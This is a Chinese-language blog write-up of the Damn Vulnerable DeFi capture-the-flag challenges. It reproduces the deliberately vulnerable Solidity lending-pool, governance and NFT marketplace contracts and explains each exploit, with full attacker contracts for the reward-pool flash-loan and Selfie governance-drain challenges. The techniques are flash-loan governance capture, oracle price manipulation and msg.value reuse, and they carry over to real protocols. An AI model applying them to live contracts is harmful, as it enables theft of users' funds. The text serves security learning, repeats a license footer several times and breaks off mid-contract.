0x01Unstoppable

Request

There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans …

You start with 100 DVT tokens in balance.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
* @title UnstoppableLender
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableLender is ReentrancyGuard {

IERC20 public immutable damnValuableToken;
uint256 public poolBalance;

constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
}

function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}

function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);

damnValuableToken.transfer(msg.sender, borrowAmount);

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}

Analyse

要求就是我们攻击这个闪电贷,使其没法正常的flashon,我们发现在flashon中

assert(poolBalance == balanceBefore);如果不相等就会报错,poolBalance 的改变只在depositTokens函数中,因此如果我们不在depositTokens函数中存代币,那么我们就会造成poolBalance不增加与balanceBefore增加,从而不等,完成题目。

0x02Naive receiver

Request

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;

Code

FlashLoanReceiver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver {
using Address for address payable;

address payable private pool;

constructor(address payable poolAddress) {
pool = poolAddress;
}

// Function called by the pool during flash loan
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");

uint256 amountToBeRepaid = msg.value + fee;

require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");

_executeActionDuringFlashLoan();

// Return funds to pool
pool.sendValue(amountToBeRepaid);
}

// Internal function where the funds received are used
function _executeActionDuringFlashLoan() internal { }

// Allow deposits of ETH
receive () external payable {}
}

NaiveReceiverLenderPool

code

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

NaiveReceiverLenderPool

code

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

NaiveReceiverLenderPool

code

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

NaiveReceiverLenderPool

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

NaiveReceiverLenderPool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard {

using Address for address;

uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan

function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");


require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);

require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}

// Allow deposits of ETH
receive () external payable {}
}

Analyse

要求就是我们攻击FlashLoanReceiver使其部署在合约中的10个eth消失。我们看到NaiveReceiverLenderPool 中每一次借贷都会要求支付1ether,且其中没有限定调用者是谁,且可以指定调用者,因此我们只要指定为FlashLoanReceiver就可以一直消耗其中的eth了

0x03Truster

Request

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don’t worry, you might be able to take them all from the pool. In a single transaction.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {

using Address for address;

IERC20 public immutable damnValuableToken;

constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}

function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

}

Analyse

要求是拿走池子中的所有token,我们是无法直接转走所有代币的,但是flashloan中可以进行调用指定合约,那么如果我们调用erc20的approve那么是不是就可以让flashloan去approve我们的地址了?那么我们就会被授权了,然后转走所有的钱就可以了。

0x04Side entrance

Request

1
2
3
4
5
A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.

This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

You must take all ETH from the lending pool.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

interface IFlashLoanEtherReceiver {
function execute() external payable;
}

/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;

mapping (address => uint256) private balances;

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}

function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}

Analyse

我们用合约借钱,然后回调时存入目标合约,然后闪贷完成,取钱就可以了。

0x05 The reward

Request

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet. Isn’t it offering DVT tokens in flash loans?

Code

RewardToken.sol”; DamnValuableToken.sol”; AccountingToken.sol”;

这三个合约没有太大的作用

三个合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {

// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

uint256 public lastSnapshotIdForRewards;
uint256 public lastRecordedSnapshotTimestamp;

mapping(address => uint256) public lastRewardTimestamps;

// Token deposited into the pool by users
DamnValuableToken public immutable liquidityToken;

// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public accToken;

// Token in which rewards are issued
RewardToken public immutable rewardToken;

// Track number of rounds
uint256 public roundNumber;

constructor(address tokenAddress) {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();

_recordSnapshot();
}

/**
* @notice sender must have approved `amountToDeposit` liquidity tokens in advance
*/
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");

accToken.mint(msg.sender, amountToDeposit);
distributeRewards();

require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}

function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}

function distributeRewards() public returns (uint256) {
uint256 rewards = 0;

if(isNewRewardsRound()) {
_recordSnapshot();
}

uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

if (amountDeposited > 0 && totalDeposits > 0) {
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}

return rewards;
}

function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}

function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}

function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}

Analyse

题目要求就是让我们分配得到的奖励最大,意思就是让我们多存点钱,同时合约也提供了闪电贷,那么我们就可以贷款存钱,然后获得最大份额的奖励,然后在还钱给闪电贷,完成闪贷攻击。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity ^0.8.0;
interface DamnValuableToken{
function approve(address,uint)external;
function transfer(address,uint)external;
}
interface FlashLoanerPool{
function flashLoan(uint) external;
}
interface TheRewarderPool{
function deposit(uint) external;
function withdraw(uint) external;
}
interface RewardToken{
function transfer(address,uint)external;
function balanceOf(address)external returns(uint);
}
contract RewarderAttacker {

DamnValuableToken public damnValuableToken;
FlashLoanerPool public flashLoanpool;
TheRewarderPool public theRewarderPool;
RewardToken public rewardToken;
address public attacker;

constructor (address DVT, address flashLoanPool, address rewarderPool, address rewardTokenadd, address myaddress) {
damnValuableToken = DamnValuableToken(DVT);
theRewarderPool = TheRewarderPool(rewarderPool);
flashLoanpool = FlashLoanerPool(flashLoanPool);
attacker = myaddress;
rewardToken = RewardToken(rewardTokenadd);
}

function attack(uint256 amount) public {
flashLoanpool.flashLoan(amount);
}

// Take a flash loan of DVT, deposit to rewarder pool, call distributeRewards and collect reward, withdraw DVT
// send reward token to the attacker, return DVT
function receiveFlashLoan(uint256 amount) public {
damnValuableToken.approve(address(theRewarderPool), amount);
theRewarderPool.deposit(amount);
theRewarderPool.withdraw(amount);
rewardToken.transfer(attacker, rewardToken.balanceOf(address(this)));
damnValuableToken.transfer(msg.sender, amount);
}
}

0x06Selfie

Request

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens.

Wow, and it even includes a really fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.

Code

SelfiePool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard {

using Address for address;

ERC20Snapshot public token;
SimpleGovernance public governance;

event FundsDrained(address indexed receiver, uint256 amount);

modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}

constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}

function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

token.transfer(msg.sender, borrowAmount);

require(msg.sender.isContract(), "Sender must be a deployed contract");
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);

uint256 balanceAfter = token.balanceOf(address(this));

require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}
}

SimpleGovernance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance {

using Address for address;

struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}

DamnValuableTokenSnapshot public governanceToken;

mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);

constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}

function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");

uint256 actionId = actionCounter;

GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;

actionCounter++;

emit ActionQueued(actionId, msg.sender);
return actionId;
}

function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");

GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;

actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);

emit ActionExecuted(actionId, msg.sender);
}

function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}

/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}

function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}

Analyse

这一题也没啥,就是需要需要调用SelfiePool合约中的drainAllFunds函数,转走所有的钱就可以了,但是函数要求只能由SimpleGovernance合约调用,而SimpleGovernance调用需要先queue然后execute,而queue需要msg.sender的token大于总资产的一半,那么我们可以闪贷,但是在此之前要先调用token的snapshot()函数,否则再balance将会返回值0.

然后就完成合约了。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
interface ERC20Snapshot1{
function transfer(address,uint)external;
}
interface SelfiePool1{
function flashLoan(uint)external;
}
interface SimpleGovernance1{
function queueAction(address,bytes calldata ,uint)external returns(uint);
}
interface DamnValuableTokenSnapshot1{
function snapshot()external;
}
contract SelfieAttacker {

ERC20Snapshot1 public token;
SelfiePool1 private immutable pool;
SimpleGovernance1 private immutable governance;
address payable attacker;
uint256 public actionId;

constructor (address tokenAddress, address poolAddress, address governanceAddress, address attackerAddress) {
token = ERC20Snapshot1(tokenAddress);
pool = SelfiePool1(poolAddress);
governance = SimpleGovernance1(governanceAddress);
attacker = payable(attackerAddress);
}

function attack(uint256 amount) external {
pool.flashLoan(amount);
}

// Take the max amount of flash loan from the pool, take governance over, queue an action that drains all funds
// from the pool, advance 2 days in time, execute action
function receiveTokens(address tokenAddress, uint256 amount) external {
DamnValuableTokenSnapshot1 governanceToken = DamnValuableTokenSnapshot1(tokenAddress);
governanceToken.snapshot();
actionId = governance.queueAction(address(pool), abi.encodeWithSignature("drainAllFunds(address)",attacker), 0);
token.transfer(msg.sender, amount);
}

receive() external payable {}
}

0x08Puppet

Request

There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
* @title PuppetPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetPool is ReentrancyGuard {

using Address for address payable;

mapping(address => uint256) public deposits;
address public immutable uniswapPair;
DamnValuableToken public immutable token;

event Borrowed(address indexed account, uint256 depositRequired, uint256 borrowAmount);

constructor (address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}

// Allows borrowing `borrowAmount` of tokens by first depositing two times their value in ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);

require(msg.value >= depositRequired, "Not depositing enough collateral");

if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

/**
... functions to deposit, redeem, repay, calculate interest, and so on ...
*/

}

Analyse

我们有25 ETH and 1000 DVTs,而如果想通过Puppet中borrow大量的token,我们需要将token的价格压低,因此我们用1000DVT来换出ETH,然后用ETH来borrow(借)token,就可以了

0X09Puppet

Request

The developers of the last lending pool are saying that they’ve learned the lesson. And just released a new version!

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.

You start with 20 ETH and 10000 DVT tokens in balance. The new lending pool has a million DVT tokens in balance. You know what to do ;)

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol";

interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
}

/**
* @title PuppetV2Pool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract PuppetV2Pool {
using SafeMath for uint256;

address private _uniswapPair;
address private _uniswapFactory;
IERC20 private _token;
IERC20 private _weth;

mapping(address => uint256) public deposits;

event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp);

constructor (
address wethAddress,
address tokenAddress,
address uniswapPairAddress,
address uniswapFactoryAddress
) public {
_weth = IERC20(wethAddress);
_token = IERC20(tokenAddress);
_uniswapPair = uniswapPairAddress;
_uniswapFactory = uniswapFactoryAddress;
}

/**
* @notice Allows borrowing `borrowAmount` of tokens by first depositing three times their value in WETH
* Sender must have approved enough WETH in advance.
* Calculations assume that WETH and borrowed token have same amount of decimals.
*/
function borrow(uint256 borrowAmount) external {
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");

// Calculate how much WETH the user must deposit
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

// Take the WETH
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

// internal accounting
deposits[msg.sender] += depositOfWETHRequired;

require(_token.transfer(msg.sender, borrowAmount));

emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
}

Analyse

与上一题大差不差,我们只需要将DVT的价格压低,然后在pool中购买就可以了

Free rider

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/post/Damn%20Vulnerable%20DeFi

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

Free rider

-——————————–

Author: bcYng

Article is from: https://bcyng-w.github.io/post/Damn%20Vulnerable%20DeFi

This content is shared under the CC BY-NC-SA 4.0 protocol (Non-Commercial)

0x0aFree rider

Request

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

A buyer has shared with you a secret alpha: the marketplace is vulnerable and all tokens can be taken. Yet the buyer doesn’t know how to do it. So it’s offering a payout of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You want to build some rep with this buyer, so you’ve agreed with the plan.

Sadly you only have 0.5 ETH in balance. If only there was a place where you could get free ETH, at least for an instant.

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableNFT.sol";

/**
* @title FreeRiderNFTMarketplace
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderNFTMarketplace is ReentrancyGuard {

using Address for address payable;

DamnValuableNFT public token;
uint256 public amountOfOffers;

// tokenId -> price
mapping(uint256 => uint256) private offers;

event NFTOffered(address indexed offerer, uint256 tokenId, uint256 price);
event NFTBought(address indexed buyer, uint256 tokenId, uint256 price);

constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();

for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}

function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}

function _offerOne(uint256 tokenId, uint256 price) private {
require(price > 0, "Price must be greater than zero");

require(
msg.sender == token.ownerOf(tokenId),
"Account offering must be the owner"
);

require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);

offers[tokenId] = price;

amountOfOffers++;

emit NFTOffered(msg.sender, tokenId, price);
}

function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}

function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
require(priceToPay > 0, "Token is not being offered");

require(msg.value >= priceToPay, "Amount paid is not enough");

amountOfOffers--;

// transfer from seller to buyer
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller
payable(token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

receive() external payable {}
}

Analyse

这个漏洞主要在于 _buyOne()的时候是先把NFT转给了买方,然后再把钱支付给NFT的owner。感觉没毛病啊,但是,NFT已经转给买方了,那么owner自然是买方,相当于用买过NFT之后,又将钱转给了自己,是不是有毛病了。同时buyMany()也有毛病,它的逻辑是有毛病的。我只需要支付一次msg.value然后可以循环买到NFT,这个漏洞就是多重调用的漏洞,比较常见,也比较好玩,需要注意一下。

0x0c Climer

Request

There’s a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule actions that can be executed 1 hour later.

Your goal is to empty the vault.

Code

ClimberVault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./ClimberTimelock.sol";

/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {

uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;

uint256 private _lastWithdrawalTimestamp;
address private _sweeper;

modifier onlySweeper() {
require(msg.sender == _sweeper, "Caller must be sweeper");
_;
}

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}

function initialize(address admin, address proposer, address sweeper) initializer external {
// Initialize inheritance chain
__Ownable_init();
